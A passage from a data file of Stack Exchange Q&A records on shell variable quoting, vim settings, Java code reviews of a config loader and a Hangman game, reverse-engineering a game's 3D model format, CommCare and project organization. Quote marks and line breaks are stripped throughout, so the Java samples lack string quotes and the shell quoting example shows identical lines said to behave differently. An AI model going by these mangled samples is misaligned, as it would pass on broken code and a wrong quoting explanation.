try-catch should be small and cover only the part of the code that can actually throw the exception you want to catch.Last point, you can see the advantage of using a constructor here: later, you may want to remove hard-coding /app.properties. With a constructor, you can easily now pass the path to the properties file, which would be complicated to do with a static initializer.Nitpick: isValidNumeric won't return true for negative numbers, so you may want to rename it to isValidPositiveInteger. Also, does APP_PROPERTIES really need to be static final as well? I would imagine it is only used to fetch all of the configuration values once, and unused later on."  } 
{  "id": "_unix.78002"  , "question": "I am in a confusion with what is meant by the double quotes referring to a variable. For example following two scripts gives the same output. What is really meant by the double quotes?Script1getent passwd | while IFS=: read a b c d e f ; doecho login $a is $ddonescript 2#! /bin/shgetent passwd | while IFS=: read a b c d e f ; do    echo login $a is $ddone"  , "title": "when to use double quotes with a variable in shell script?"  , "tags": "linux;shell;scripting;variable substitution"  , "accepted_answer": "Take a look at the Advanced Bash Scripting Guide, specifically section 5.1 which covers quoting variables. The reason you double quote variables is because the contents of the variable may include spaces. A space is typically the boundary character which denotes a break in atoms within a string of text for most commands.There's a good example there that illustrates this point:excerpt from the above linkvariable2=    # Empty.COMMAND $variable2 $variable2 $variable2                # Executes COMMAND with no arguments. COMMAND $variable2 $variable2 $variable2                # Executes COMMAND with 3 empty arguments. COMMAND $variable2 $variable2 $variable2                # Executes COMMAND with 1 argument (2 spaces).# Thanks, Stphane Chazelas.In the above you can see that depending on how you quote the variable it's either no arguments, 3, or 1.NOTE: Thanks to @StphaneChazelas for providing that feedback to the ABS Guide so that it can work it's way back into this site where he's always participating."  } 
{  "id": "_vi.9951"  , "question": "Basically, I'd like to have long entries for bulleted / numbered lists that automatically indent like so:1. Congress shall make no law respecting an establishment of    religion, or prohibiting the free exercise thereof; or    abridging the freedom of speech, or of the press; or the    right of the people peaceably to assemble, and to petition    the government for a redress of grievances.I'm aware that formatoptions=n will do this for numbered lists and formatoptions=c will do this for asterisks (provided they are defined as comment leaders with comments=fb:*), but this only works by forcing an automatic hard wrap. I'd prefer to avoid this situation, since in order to edit the paragraph, I then have to manually Join the lines back into one, make the edits, and then gqq to reformat. The breakindent setting gets me halfway there, with automatic indentation for softwrapped paragraphs, but it only provides indentation identical to the first line. Is there any setting that combines breakindent's softwrap support with formatoptions+=cn's numbered- and bulleted-list recognition?"  , "title": "Is there a setting to force a hanging indent on bulleted/numbered lists WITHOUT hard wrapping?"  , "tags": "indentation;wrapping"  } 
{  "id": "_codereview.21534"  , "question": "I've developed a code for a Hangman game and what I need help in is basically simplifying, correcting and removing parts of the code that are not needed (or there is an easier way to do it). I think there are parts where I could have done it easier but I do not know where they are. I would appreciate any/ all help and will welcome all constructive criticism.package Hangman;import javax.swing.*;import java.awt.*;import java.awt.event.*;import java.io.*;import javax.swing.Icon;import javax.swing.ImageIcon;import javax.swing.JButton;import java.awt.BorderLayout;import java.awt.Color;import javax.swing.JFrame;import javax.swing.JLabel;import java.net.URL;@SuppressWarnings(serial)public class HangManGUI extends JFrame implements ActionListener, KeyListener {    // Panels where everything is drawn on    DrwPnl dPnl1 = new DrwPnl(), dPnl2 = new DrwPnl(), pnlBoard = new DrwPnl();    JPanel align = new JPanel(), pnl2 = new JPanel(), pnl3 = new JPanel(),            pnl4 = new JPanel(), pnl5 = new JPanel(), pnl6 = new JPanel(),            pnl7 = new JPanel();    String p1 = Dixon, p2 = Computer, puz = , selected = Easy;    String[] categories = { Easy, Food, Standard, Geography, Hard,            Holidays, Animals, Sports }, allPuz, puzzle;    JTextField cusPuz = new JTextField(Custom Puzzle),            txtName = new JTextField(Player), txtOpponent = new JTextField(                    Opponent);    JLabel lblName = new JLabel(), lblOpponent = new JLabel(),            wordlist = new JLabel();    JButton[] btnLetters = new JButton[26], close = new JButton[3],            lblWordList = new JButton[8];    JButton player1 = new JButton(), player2 = new JButton(),            btnBack = new JButton(Back), btnStart = new JButton(Start),            resetBtn = new JButton(Reset Scores), newGameBtn = new JButton(                    New Game), btnMain = new JButton(Menu);    int length, count = 0, chances = 7, linenum, randomnum, pScore = 0,            oScore = 0, theSource = 1, move = 0, rong, players = 1;    int[] wrLetter = new int[26], checked = new int[26];    Icon[] cate = new ImageIcon[7];    Icon py1 = new ImageIcon(Player 1.png), py2 = new ImageIcon(            Player 2.png), wList = new ImageIcon(WordList.png),            name = new ImageIcon(Name.png), opponent = new ImageIcon(                    Opponent.png), closeIMG = new ImageIcon(closeBtn.png);    char[] puzle, hid, leter = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',            'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',            'W', 'X', 'Y', 'Z' }, leter2 = { 'a', 'b', 'c', 'd', 'e', 'f', 'g',            'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',            'u', 'v', 'w', 'x', 'y', 'z' };    Boolean wrong = true, undecorated, gameDone = false;    JFrame fr1 = new JFrame(), fr2 = new JFrame();    // Import Font File----------------------->    File f = new File(VTK.ttf);    FileInputStream in = new FileInputStream(f);    Font dFont = Font.createFont(Font.TRUETYPE_FONT, in);    Font f1 = dFont.deriveFont(12f), f2 = dFont.deriveFont(11f), f3 = dFont            .deriveFont(12f), f4 = dFont.deriveFont(50f), f5 = dFont            .deriveFont(16f), f6 = dFont.deriveFont(13f), f7 = dFont            .deriveFont(35f), f8 = dFont.deriveFont(22f);    // <----------------------- End Import Font File    // Import Images----------------------->    ClassLoader cl = HangManGUI.class.getClassLoader();    URL imageURL = cl.getResource(chalkBG.png), imageURL2 = cl            .getResource(hanger.png), imageURL3 = cl            .getResource(alphaDock.png);    Image image, image2, image3;    Toolkit toolkit = Toolkit.getDefaultToolkit();    // <----------------------- End Import Images    public static void main(String[] args) throws Exception {        new HangManGUI();    }    public HangManGUI() throws Exception {        this.addKeyListener(this);        this.setFocusable(true);        // Initialize the Checklists------------->        for (int x = 0; x < 26; x++) {            checked[x] = 0;            wrLetter[x] = 0;        }        // <------- End Initializing Checklists        // Close button--------------------------->        for (int x = 0; x < 3; x++) {            close[x] = new JButton();            close[x].addActionListener(this);            close[x].setOpaque(false);            close[x].setContentAreaFilled(false);            close[x].setBorderPainted(false);            close[x].setBounds(275, 0, 25, 25);            close[x].setIcon(closeIMG);        }        dPnl1.add(close[0]);// Add Close button to 1st Screen        dPnl2.add(close[1]);// Add Close button to 2nd Screen        this.add(close[2]);// Add Close button to Board        close[2].setBounds(475, 0, 25, 25);        // <------End Close Button        // Put image into Image Variable------------->        if (imageURL != null) {            image = toolkit.createImage(imageURL);            image2 = toolkit.createImage(imageURL2);            image3 = toolkit.createImage(imageURL3);        }        // <-------------Put image into Image Variable        // ////Chose Player Menu(1)==============>        dPnl1.setLayout(null);        // /Player 1 button initialize--------->        player1.setBounds(25, 125, 250, 50);        player1.setOpaque(false);        player1.setContentAreaFilled(false);        player1.setBorderPainted(false);        player1.addActionListener(this);        player1.setIcon(py1);        dPnl1.add(player1);        // /Player 2 button initialize--------->        player2.setBounds(25, 200, 250, 50);        player2.setOpaque(false);        player2.setContentAreaFilled(false);        player2.setBorderPainted(false);        player2.addActionListener(this);        player2.setIcon(py2);        dPnl1.add(player2);        // /End Player Button Initialzing------->        fr1.add(dPnl1);        fr1.setUndecorated(true);// Take out preset border        undecorated = fr1.isUndecorated();// Take out preset border        fr1.setVisible(true);        fr1.setSize(300, 300);        fr1.setLocation(300, 300);        // ////<========End Chose Player Menu(1)        // ////Chose Categories Menu(2)========>        dPnl2.setLayout(null);        // /Initialize WordList Icon\\Label--->        dPnl2.add(wordlist);        wordlist.setBounds(100, 75, 150, 75);        wordlist.setIcon(wList);        // /Initialize Go To 1st Menu Button---------->        dPnl2.add(btnBack);        btnBack.setBounds(0, 250, 75, 25);        btnBack.setFont(f2);        btnBack.addActionListener(this);        btnBack.setOpaque(false);        btnBack.setContentAreaFilled(false);        btnBack.setBorderPainted(false);        btnBack.addActionListener(this);        // /Initialize Start Game/Go to Board---------->        dPnl2.add(btnStart);        btnStart.setBounds(225, 250, 75, 25);        btnStart.setFont(f2);        btnStart.addActionListener(this);        btnStart.setOpaque(false);        btnStart.setContentAreaFilled(false);        btnStart.setBorderPainted(false);        btnStart.addActionListener(this);        // /Add Categories into grid------------->        align.setLayout(new GridLayout(4, 2));        for (int x = 0; x < 8; x++) {            lblWordList[x] = new JButton(categories[x] + );            lblWordList[x].setFont(f3);            lblWordList[x].setOpaque(false);            lblWordList[x].setContentAreaFilled(false);            lblWordList[x].setBorderPainted(false);            lblWordList[x].addActionListener(this);            align.add(lblWordList[x]);        }        // /<-------------End Category Initializing and Layout Setiing        fr2.add(dPnl2);        fr2.setSize(300, 300);        fr2.setLocation(300, 300);        fr2.setUndecorated(true);// Take out preset border        undecorated = fr2.isUndecorated();// Take out preset border        // ////<==================End Chose Player Menu(2)        // ////Create Playing Board================>        // Add Board to main form------------->        pnlBoard.setLayout(new GridLayout(1, 1));        pnl2.setLayout(new BorderLayout());        pnl2.add(pnlBoard, BorderLayout.CENTER);        // <---------End Add Board to main form        pnl7.setLayout(new GridLayout(1, 1));        pnl7.add(pnl2);        // Initialize New Game Button---------->        newGameBtn.setFont(f2);        newGameBtn.addActionListener(this);        newGameBtn.setFocusable(false);        newGameBtn.setOpaque(false);        newGameBtn.setContentAreaFilled(false);        newGameBtn.setBorderPainted(false);        this.add(newGameBtn);        newGameBtn.setBounds(225, 0, 100, 25);        // Initialize Reset Scores Button---------->        resetBtn.setFont(f2);        resetBtn.addActionListener(this);        resetBtn.setFocusable(false);        resetBtn.setOpaque(false);        resetBtn.setContentAreaFilled(false);        resetBtn.setBorderPainted(false);        this.add(resetBtn);        resetBtn.setBounds(100, 0, 125, 25);        // Initialize Go To Main Menu Button---------->        btnMain.setFont(f2);        btnMain.addActionListener(this);        btnMain.setFocusable(false);        btnMain.setOpaque(false);        btnMain.setContentAreaFilled(false);        btnMain.setBorderPainted(false);        this.add(btnMain);        btnMain.setBounds(0, 0, 100, 25);        this.add(pnl7);        this.setUndecorated(true);// Take out preset border        undecorated = this.isUndecorated();// Take out preset border        this.setVisible(false);        this.setLocation(200, 200);        this.setSize(500, 325);        // ////<===========End Create Playing Board    }    public void actionPerformed(ActionEvent e) {        if (e.getSource() == player1) {            System.out.println(Player 1 was pressed);            fr1.setVisible(false);            fr2.setVisible(true);            theSource = 2;            players = 1;            lblWordList[1].setForeground(Color.BLUE);            dPnl2.add(align);            align.setBounds(25, 125, 250, 100);            align.setOpaque(false);            dPnl2.add(lblName);            lblName.setBounds(50, 50, 75, 25);            lblName.setFont(f2);            lblName.setIcon(name);            dPnl2.add(txtName);            txtName.setBounds(125, 50, 125, 25);            txtName.setFont(f6);            txtName.setOpaque(false);            txtName.setBorder(null);            dPnl2.add(wordlist);            wordlist.setBounds(100, 75, 150, 75);            dPnl2.remove(lblOpponent);            dPnl2.remove(txtOpponent);            dPnl2.remove(cusPuz);        } else if (e.getSource() == player2) {            System.out.println(Player 2 was pressed);            lblWordList[1].setForeground(Color.BLUE);            players = 2;            theSource = 2;            selected = Custom;            fr1.setVisible(false);            fr2.setVisible(true);            dPnl2.remove(align);            dPnl2.remove(wordlist);            dPnl2.add(lblOpponent);            lblOpponent.setBounds(75, 125, 100, 25);            lblOpponent.setFont(f2);            lblOpponent.setIcon(opponent);            dPnl2.add(txtOpponent);            txtOpponent.setBounds(175, 125, 100, 25);            txtOpponent.setFont(f6);            txtOpponent.setOpaque(false);            txtOpponent.setBorder(null);            dPnl2.add(cusPuz);            cusPuz.setBounds(100, 175, 100, 25);            dPnl2.add(lblName);            lblName.setBounds(75, 75, 75, 25);            lblName.setFont(f2);            lblName.setIcon(name);            dPnl2.add(txtName);            txtName.setBounds(150, 75, 125, 25);            txtName.setFont(f6);            txtName.setOpaque(false);            txtName.setBorder(null);        }        if (e.getSource() == btnBack) {            theSource = 1;            System.out.println(Back was pressed);            fr2.setVisible(false);            fr1.setVisible(true);        }        for (int x = 0; x < 8; x++) {            lblWordList[x].setForeground(Color.BLACK);            if (e.getSource() == lblWordList[x]) {                if (players == 1) {                    selected = lblWordList[x].getText();                    lblWordList[x].setForeground(Color.BLUE);                    System.out.println(x);                } else                    selected = p2 + 's Puzzle;            }        }        if (e.getSource() == btnStart) {            theSource = 3;            System.out.println(Start was pressed);            p1 = txtName.getText();            if (players == 2)                p2 = txtOpponent.getText();            fr2.setVisible(false);            try {                if (players == 1)                    getPuz();                createPuz();            } catch (IOException f) {                System.out.println(Problem Creating Puzzle);            }            this.setVisible(true);        }        for (int x = 0; x < 3; x++) {            if (e.getSource() == close[x]) {                System.exit(0);            }        }        if (e.getSource() == resetBtn) {            oScore = 0;            pScore = 0;            repaint();        } else if (e.getSource() == newGameBtn) {            imageURL2 = cl.getResource(hanger.png);            image2 = toolkit.createImage(imageURL2);            move = 0;            count = 0;            gameDone = false;            for (int x = 0; x < 26; x++) {                checked[x] = 0;                wrLetter[x] = 0;            }            try {                getPuz();                createPuz();            } catch (IOException f) {                System.out.println(Problem Creating Puzzle);            }            repaint();        }        if (e.getSource() == btnMain) {            oScore = 0;            pScore = 0;            move = 0;            count = 0;            gameDone = false;            p2 = Opponent;            p1 = Player;            for (int x = 0; x < 26; x++) {                checked[x] = 0;                wrLetter[x] = 0;            }            this.setVisible(false);            fr2.setVisible(true);            theSource = 2;        }    }    class DrwPnl extends JPanel {        public void paintComponent(Graphics g) {            Graphics2D g2 = (Graphics2D) g;            if ((theSource == 1) || (theSource == 2)) {                g2.drawImage(image, 0, 0, 300, 300, 0, 0, 300, 300, this);                g2.setColor(Color.WHITE);                g2.setFont(f4);                if (theSource == 1)                    g2.drawString(Hang Man, 12, 100);                g2.setColor(Color.BLACK);            } else if (theSource == 3) {                g2.drawImage(image, 0, 0, 500, 275, 0, 0, 300, 300, this);                if ((move < 5) && (move >= 0))                    g2.drawImage(image2, 300 - 25 * move, 125, 350 - 25 * move,                            200, 0, 0, 131, 300, this);                if ((move >= 5) && (move < 7))                    g2.drawImage(image2, 300 - 25 * move, 100, 350 - 25 * move,                            175, 0, 0, 131, 300, this);                if ((move == 7) || (move >= 8)) {                    g2.drawImage(image2, 125, 50, 175, 150, 0, 0, 131, 300,                            this);                    if (move == 7) {                        g2.setColor(Color.RED);                        g2.fillRect(125, 150, 50, 25);                    }                }                g2.setColor(Color.YELLOW);                g2.drawLine(365, 25, 365, 215);                g2.drawLine(25, 210, 375, 210);                g2.setColor(Color.RED);                g2.fillRect(50, 175, 125, 25);                g2.fillRect(75, 25, 25, 150);                g2.fillRect(100, 25, 75, 25);                g2.fillRect(175, 175, 25, 25);                g2.setStroke(new BasicStroke(10));                g2.drawLine(100, 75, 125, 50);                g2.setColor(Color.BLACK);                g2.setFont(f8);                g2.drawImage(image3, 0, 275, 500, 325, 0, 0, 320, 48, this);                for (int x = 0; x < 26; x++) {                    if (wrLetter[x] == 0)                        g2.setColor(Color.BLACK);                    else if (wrLetter[x] == 1)                        g2.setColor(Color.GREEN);                    else if (wrLetter[x] == 2)                        g2.setColor(Color.RED);                    g2.drawString( + leter[x], 5 + 19 * x, 305);                }                g2.setFont(f7);                g2.setColor(Color.BLACK);                for (int x = 0; x < length; x++)                    g2.drawString( + hid[x], 25 + 35 * x, 250);                g2.setFont(f5);                g2.setColor(Color.WHITE);                g2.drawString(Category:, 375, 50);                g2.drawString(p1, 375, 100);                g2.drawString(p2, 375, 150);                g2.setColor(Color.BLACK);                g2.drawString(selected, 375, 75);                g2.drawString( + pScore, 375, 125);                g2.drawString( + oScore, 375, 175);            }        }    }    public void getPuz() throws IOException {        BufferedReader in = null;        String line = A B 1;        File f = new File(Word List/ + selected + .txt);        int num = 0;        LineNumberReader reader = new LineNumberReader(new FileReader(f));        String lineRead = ;        while ((lineRead = reader.readLine()) != null) {        }        linenum = reader.getLineNumber();        reader.close();        try {            allPuz = new String[linenum];            in = new BufferedReader(new FileReader(f));            System.out.println(File Opening);        } catch (FileNotFoundException e) {            System.out.println(Problem opening File);        }        while (line != null) {            try {                line = in.readLine();                if (line != null) {                    allPuz[num] =  + line;                    num++;                }            } catch (IOException e) {                System.out.println(Problem reading data from file);            }            if (line != null) {            }        }        try {            in.close();            System.out.println(Closing File);        } catch (IOException e) {            System.out.println(Problem Closing  + e);        }    }    public void createPuz() throws IOException {        randomnum = (int) (Math.random() * linenum);        if (players == 1)            puz =  + allPuz[randomnum];        else if (players == 2)            puz = cusPuz.getText();        System.out.println(puz);        length = puz.length();        puzle = new char[length];        hid = new char[length];        for (int x = 0; x < length; x++) {            puzle[x] = (puz.charAt(x));            if (puzle[x] == ' ') {                hid[x] = (' ');                count += 1;            } else                hid[x] = ('_');        }    }    public void keyTyped(KeyEvent f) {        if (gameDone == false) {            String key =  + f.getKeyChar();            Boolean rightletter = false;            wrong = true;            for (int x = 0; x < 26; x++) {                if (( + leter[x]).equalsIgnoreCase(key)) {                    if (checked[x] == 1) {                        JOptionPane.showMessageDialog(this, Already pressed                                 + leter[x] + .);                        for (int y = 0; y < length; y++) {                            if ((leter[x] == puzle[y])                                    || (leter2[x] == puzle[y])) {                                hid[y] = puzle[y];                                rightletter = true;                                wrLetter[x] = 1;                                wrong = false;                                checked[x] = 1;                                if (count == length) {                                    JOptionPane.showMessageDialog(this,                                            You Win);                                    gameDone = true;                                    pScore += 1;                                }                            }                        }                    } else if (checked[x] == 0) {                        for (int y = 0; y < length; y++) {                            if ((leter[x] == puzle[y])                                    || (leter2[x] == puzle[y])) {                                hid[y] = puzle[y];                                rightletter = true;                                wrLetter[x] = 1;                                count += 1;                                wrong = false;                                checked[x] = 1;                                if (count == length) {                                    JOptionPane.showMessageDialog(this,                                            You Win);                                    gameDone = true;                                    pScore += 1;                                }                            }                        }                    }                    rong = x;                }            }            if (rightletter == false) {                for (int x = 0; x < 26; x++) {                    if (( + leter[x]).equalsIgnoreCase(key)) {                        move++;                        wrLetter[x] = 2;                        checked[x] = 1;                        rong = x;                    }                }            }            if (wrong == true)                wrLetter[rong] = 2;            wrong = true;            if (move == 7) {                imageURL2 = cl.getResource(hanger2.png);                image2 = toolkit.createImage(imageURL2);            } else if (move >= 8) {                imageURL2 = cl.getResource(hanger3.png);                JOptionPane.showMessageDialog(this, You Lose);                oScore += 1;                gameDone = true;                pnlBoard.setEnabled(false);                resetBtn.setEnabled(true);                image2 = toolkit.createImage(imageURL2);                for (int x = 0; x < 26; x++) {                    for (int y = 0; y < length; y++) {                        if ((leter[x] == puzle[y]) || (leter2[x] == puzle[y])) {                            hid[y] = puzle[y];                        }                    }                }            } else {                imageURL2 = cl.getResource(hanger.png);                image2 = toolkit.createImage(imageURL2);            }            repaint();        }    }    public void keyPressed(KeyEvent f) {    }    public void keyReleased(KeyEvent f) {    }}If any one wants to see the images/files and/or download them to use while checking, I uploaded this code to Github."  , "title": "Hangman game code"  , "tags": "java;hangman"  , "accepted_answer": "I'd like to focus on the getPuz() function to make the work of codesparkle more manageable. :)Exceptions handlingThe first, high-level problem is the way you use try/catch blocks. Exceptions are not here to get into your way! They're great tools that let you write robust programs and focus on error conditions only where necessary. Writing Problem opening file and continuing execution as if nothing had happened is a really bad idea. The truth is that if you can't open that file then your program is useless. So you might as well show the error to your users and quit the program once they acknowledged it. I removed all try/catch blocks from the code since your function already says throws Exception and because getPuz() is not the place to handle exceptions.Declarationspublic void getPuz() throws IOException {    BufferedReader in = null;    String line = A B 1;Why A B 1? When programming, you optimize for reading: reading your code should be effortles. This is not the case when an arbitrary string shows up like this. Also try avoiding setting anything to null when possible. Here this means not declaring the BufferedReader right away.Line count and better container    File f = new File(Word List/ + selected + .txt);    int num = 0;    LineNumberReader reader = new LineNumberReader(new FileReader(f));    String lineRead = ;    while ((lineRead = reader.readLine()) != null) {    }    linenum = reader.getLineNumber();    reader.close();You're going through a lot of trouble to count the number of lines in the file. The first think a reader thinks when looking at this is wtf?. This is where good comments can help: you could have written Count the number of lines in f. But the better thing to do is to actually use a better container for allPuz. You could use a ArrayList instead which allows you to append new elements without losing performance. This would allow you to change the real reading code:    allPuz = new ArrayList<String>();    BufferedReader in = new BufferedReader(new FileReader(f));    System.out.println(File Opening);See, it's simpler to declare in here. Also, allPuz is a ArrayList now, I'll be able to use the add method later on.Reading lines    while (line != null) {        line = in.readLine();        if (line != null) {            allPuz[num] =  + line;            num++;        }    }There's another way to write this kind of code which avoids you from writing the null test twice:    while ((line = in.readline()) != null) {        allPuz.append(line)    }    if (line != null) {    }Useless declarationsAs codesparkle mentioned for other declaration, this is useless: remove it!    in.close();    System.out.println(Closing File);}"  } 
{  "id": "_reverseengineering.11495"  , "question": "As a personal project I've been trying to reverse engineer the art assets for the old Dynamix game Earthsiege 2 (this game has long been abandonware and was recently released for free by Hi-Rez, the current copyright holder). It was child's play to decode the images/textures, but I've been having trouble with the binary 3D model format.As some background, the 3D models are saved as DTS files. DTS is a proprietary binary format (little-Endian), short for Dynamix Three-Space. I wasn't able to find any resources on reversing ES2-era DTS files.For this post I'll focus on the Apocalypse. The Apocalypse model is stored in Apoca.dts . The file starts out like this (in hex, with annotations):  | File size |     ?     |ChunkMarker|Chunk Length02|7C 7F 01 00|4B 1F 3D 7F|03 00 1E 00|FC 5F 00 00|FF FF 00 00 0E 08 BF FF CC FF 23 04 01 00 15 00 14 00 70 46 00 00 FF FF 00 00 B7 06 BF FF CC FF 23 04 1B 00 14 00 14 00 4A 01 00 00 01 00 0C 00 AB 01 FB FF 22 00 7B 05 18 00 0F 00 10 00 06  <-Faces00 02 00 03 00 04 00 05 00 02 00 05 00 07 00 08 00 0A 00 0B 00 04 00 03 00 03 00 02 00 08 00 0A 00 0B 00 07 00 05 00 04 00 0A 00 08 00 07 00 0B 00 00 00 1D 00 FF 07 00 00 00 00 00 00 24 FF 72  <-Some vertices here01 82 05 DC 00 72 01 82 05 DC 00 C0 FE 8C 05 24  <-FF C0 FE 8C 05 00 F8 00 00 00 00 24 FF E8 FE 00  <-05 24 FF 04 01 60 04 00 08 00 00 00 00 DC 00 04  <-01 60 04 DC 00 E8 FE 00 05 00 00 7A 07 2A FD 00  <-00 4F F8 CE FD 00 00 BB FD 55 F8 02 00 00 04 02 00 00 04 00 00 00 14 00 00 00 14 00 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF 1B 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF 19 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF 03 00 14 00 0A 00 00 00 00 00 02 00 04 00 00 00 00 00 03 00 14For formatted/color-coded analysis, see http://postimg.org/image/8e56re90n/To see the first 3 chunks of the file in their entirety, see http://pastebin.com/RTFkdiBdCurrent knowledgeEach DTS file is broken into chunks. The 10th - 13th bytes are a start-of-chunk marker; I think this is 03 00 1E 00 in each file. The next four bytes are the size of the chunk, always followed by FF 00. A new chunk will begin immediately after the previous ends. I don't know how the chunks divvy up data right now, but it does appear that multiple chunks contain vertices. This may be related to the fact that the model is noticeably divided into discrete parts, rather than a single mesh.Each vertex is a set of 6 bytes, consisting of 3 signed shorts for the X, Y, and Z coordinates of that vertex. The first vertex in this file is 24 FF 62 01 82 05, which has coordinates -220, 354, 1401 when converted to decimal. The sample I've provided contains the following vertices:24 FF 72 01 82 05 DC 00 72 01 82 05 DC 00 C0 FE 8C 05 24 FF C0 FE 8C 0524 FF E8 FE 00 0524 FF 04 01 60 04DC 00 04 01 60 04 DC 00 E8 FE 00 05These vertices define the crotch. Interestingly, the crotch is actually located above the head in 3D space as defined in the file, so it must get translated somewhere. I have tested and verified that the above bytes contain the crotch by editing them in RAM while the game is running, which distorts the model immediately when I click back into the game window. Notice that between some of these vertices are two sets of six bytes that do not appear to be vertices (they don't correspond to any point on the model and have no effect when altered in RAM). I don't know what the deal with these is:00 F8 00 00 00 0000 08 00 00 00 00The rest of the model is defined in pieces throughout the file. Vertices are clustered into small groups, which I think define one shape at a time. I can find vertices for everything but the weapons and legs. The legs are animated, so they might be defined differently, or located in a different file. The weapons are defined in a separate file.Preceding the vertices are some shorts with small values, e.g. 06 00 02 00. These have something to do with the faces; my guess is that they refer to vertices by index to define a face. I have verified that these affect the faces by editing them in RAM while the game is running, but haven't fully decoded them yet.There is always 6 bytes of 0s (00 00 00 00 00 00) between the faces and the vertices. There is always the marker 04 00 00 00 14 00 00 00 14 00 00 00 shortly after the vertices end. Using this knowledge, I'm able to parse vertices from a file by looking between those two markers; however, this is imprecise and I end up with a bunch of junk vertices forming a partial spherical shell around the model.Here is a rendering of a point cloud of vertices I am able to read out of the Apocalypse DTS file; I have filtered out some of the junk vertices here, but there are still some present around the edges and in the middle. Take note that the hips and crotch are located above the torso in the file.What's next?I'm not hoping to decode the entire DTS file from start to finish - it's much too long and complex - but I'd like to at least be able to read the vertices, and hopefully faces, out of the files. The biggest struggle I've been having at the moment is trying to figure out how to know exactly where a set of faces/vertices start and end. My main question would be how to precisely determine where a group of faces/vertices start and end, as they are not in the exact same place in every file. Any other information you can spot that I've missed would be awesome, but that's my main objective. "  , "title": "Reverse engineering Earthsiege 2 3D model format"  , "tags": "binary analysis;file format;hex"  , "accepted_answer": "To determine where the faces/vertices are laid out purely via inspection can be pretty time consuming and hit-and-miss. Given the executable is available that processes these files, I think it's probably a better starting point - it definitively knows how to process the format.I used IDA Pro to analyse the code in the executable that's involved in loading the data, using the some magic numbers [including the 0x001e0003 you noted as the ChunkMarker] to locate the relevant parts and expanding from there.You'll find that there are some duplications of surfaces in the mesh - I think the base mesh is just solid-shaded, but uses textures sparingly like decals over the base mesh.Here's an example imported into Blender.You can access the code I wrote to generate that on github."  } 
{  "id": "_vi.6141"  , "question": "I am a new user to vimtex. Here are some requests for tips.I hear that it has make on write feature. How do I enable it to use my flags to makelatex, so that it uses e.g., lualatex.Which keybindings do you have for useful features, e.g., find next error/warning?How do you enable/use the F7 key mentioned in the documentation?"  , "title": "Tips for using vimtex?"  , "tags": "plugin vimtex"  } 
{  "id": "_webapps.102973"  , "question": "I'm setting up a module and a form in my CommCare application that should only update the User Case data. I've set up the User Case data tab to update the User Case properties that I would like to store. However, I'm not sure if I should configure the case management tab in CommCare to update or closes a case or if I should leave that tab as does not use cases. Is there a correct way to configure the case management tab so CommCare knows I'm only updating the User Case in this module and form? I checked the docs here: https://confluence.dimagi.com/display/commcarepublic/User+Case but didn't see a specific instruction about this. "  , "title": "How to set up case management for a module and form in CommCare to only update the User Case Data"  , "tags": "commcare"  , "accepted_answer": "For this, you can leave the Case Management tab as does not use cases. This controls the cases of the case type you've selected in your module.The User Case will automatically be loaded into your form when you choose a form that has User Case setup."  } 
{  "id": "_softwareengineering.35082"  , "question": "As a software developer until now, I've mostly worked on projects that were quite monolithic with hardly any dependencies on other projects, without building automation (no Make, Ant, Maven, etc.) and kept on a simple version control system (mostly Subversion) with just a few easily managed version branches.Now together with some friends I'm planning a project that is intended to run on multiple platforms (mostly mobile: Android, iOS, Kindle, Windows, etc.), thus written in several languages and on different development platforms.This will lead to many dependencies: All projects sharing the same resources (e.g. images) or projects dependent on each other (e.g. a core Java library project used by the Android and other Java based implementations).So what I need is some basic information on how to answer questions such as: How would the VCS be structured? Would a client-base or a decentralized VCS be better? How to decide building automation system(s) to use? Since this quite an open question I guess for now it would be great if you could point me to any books or web resources that you can recommend for this topic."  , "title": "How to organize a larger project with several sub-projects and their dependencies?"  , "tags": "organization;code organization"  , "accepted_answer": "This doesn't answer your actual question, but may be of help.Consider cross platform toolsThere are layers such as PhoneGap, that would allow you develop apps accross multiple platforms in one language.Also, a cross platform language, such as haXe might be of interest (you can use the C++ backend for native apps, and the JS backend for web and mobile apps (through the aforementioned PhoneGap)).You can drastically reduce the amount of code you need to write, if you can reuse it on multiple platforms. Having less code in the first place, solves many problems before they even occur.Focus on a single platform to start withIf you try to write the app for many different platforms at once, the results may become mediocre. Instead, you should rather try to pick a single platform, to focus on. Test the concepts of your app on that platform and then port it to other platforms and adapt it accordingly.For example, you may realize, that you don't actually want the different ports to share graphics, to better fit with the graphical needs. For example on the iPhone 4, you have a very high resolution, so you might need extra icons for that. Also, the users may have different expectancies.Porting a working concept to a new platform is relatively straight forward (although sometimes work-intense), in comparison to really developing it in the first place. If you try to do that on multiple platforms at they same time, you may overburden yourself.So pick a platform, that is sufficiently widely spread and that you feel comfortable with, to get up and running quickly. A user base is a valuable source of feedback, that you'll hardly get anywhere else.  Do not think too big. Start small and grow.This applies not only to your initial choice of platforms, but also to your projects setup. Adapt your toolchain according to your needs instead of investing time on building up a giant all-purpose environment, that is actually putting a lot of overhead on your development process.You want to tackle a non-monolithic problem. As a consequence, I think a behemothish, monolithic workflow is maybe not the best thing to do."  } 
{  "id": "_vi.9184"  , "question": "I have a large file, about 1.5 Gb. When opening the file in vim, I typically will ctrl-c escape the buffering so I don't have to wait for the whole file to load. For one particular file, it was modified by a prepackaged program, which subsequently made it made read-only. I needed to edit this file somewhere near the beginning, so I did so and then saved it using :wq! (as prompted to do so by vim). When I exited, I noticed that the file had decreased in size from about 1.5Gb to ~200Mb. I believe it only saved what it had loaded before I exited with :wq!.Is this a known behavior of vim? It seems like a bad design flaw that it would tell you to exit with wq! when a file is read-only, but not warn you that it won't write what hasn't buffered yet. "  , "title": "vim :wq! on file with read-only permissions after escaping loading loses information in that file"  , "tags": "save"  , "accepted_answer": "Not sure what is the question here, but this is a known behaviour.This is the reason why loading only part of the file (with ctrl-c as you did) opens the file in read-only mode, to prevent data losses like the one you described.You can find more information here: https://stackoverflow.com/questions/908575/how-to-edit-multi-gigabyte-text-files-vim-doesnt-work"  } 
